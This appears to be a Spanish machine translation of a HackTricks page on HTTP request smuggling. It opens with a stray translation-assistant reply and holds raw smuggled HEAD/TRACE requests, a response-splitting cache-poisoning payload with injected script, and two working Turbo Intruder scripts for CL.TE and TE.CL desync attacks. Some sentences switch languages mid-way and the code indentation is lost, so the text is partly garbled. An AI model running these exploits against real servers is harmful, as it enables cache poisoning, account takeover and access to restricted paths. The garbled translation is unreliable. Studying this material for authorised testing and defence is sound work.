Por favor, pega el contenido del archivo README.md (o el fragmento) que quieres traducir. Lo traduciré al español manteniendo exactamente la sintaxis markdown/html y las excepciones indicadas (no traduciré código, nombres de técnicas, links, paths ni etiquetas).

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Un ejemplo de cómo abusar de este comportamiento sería smuggle primero una HEAD request. Esta request será respondida solo con los headers de una GET request (Content-Type entre ellos). Y smuggle inmediatamente después de la HEAD una TRACE request, que reflejará los datos enviados.
Como la HEAD response contendrá un header Content-Length, la response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data en la response.
Esta response será enviada a la siguiente request en la conexión, por lo que esto podría ser usado en un archivo JS cacheado por ejemplo para inyectar código JS arbitrario.

Abusing TRACE via HTTP Response Splitting

Se sugiere continuar siguiendo this post para ver otra forma de abusar del método TRACE. Como se comenta, smuggling una HEAD request y una TRACE request permite controlar algunos datos reflejados en la response a la HEAD request. La longitud del body de la HEAD request está básicamente indicada en el header Content-Length y se forma con la response a la TRACE request.

Por lo tanto, la nueva idea sería que, conociendo ese Content-Length y los datos devueltos en la TRACE response, es posible hacer que la TRACE response contenga una HTTP response válida después del último byte indicado por el Content-Length, permitiendo a un atacante controlar completamente la request hacia la siguiente response (lo que podría usarse para realizar un cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Generará estas respuestas (observe cómo la respuesta HEAD tiene un Content-Length que hace que la respuesta TRACE sea parte del body de la respuesta HEAD y, una vez que finaliza el Content-Length de HEAD, se contrabandea una respuesta HTTP válida):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Weaponizar HTTP Request Smuggling con HTTP Response Desynchronisation

¿Has encontrado una vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba este otro método de explotación:

HTTP Response Smuggling / Desync

Otras técnicas de HTTP Request Smuggling

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Desde https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

De: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Herramientas

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks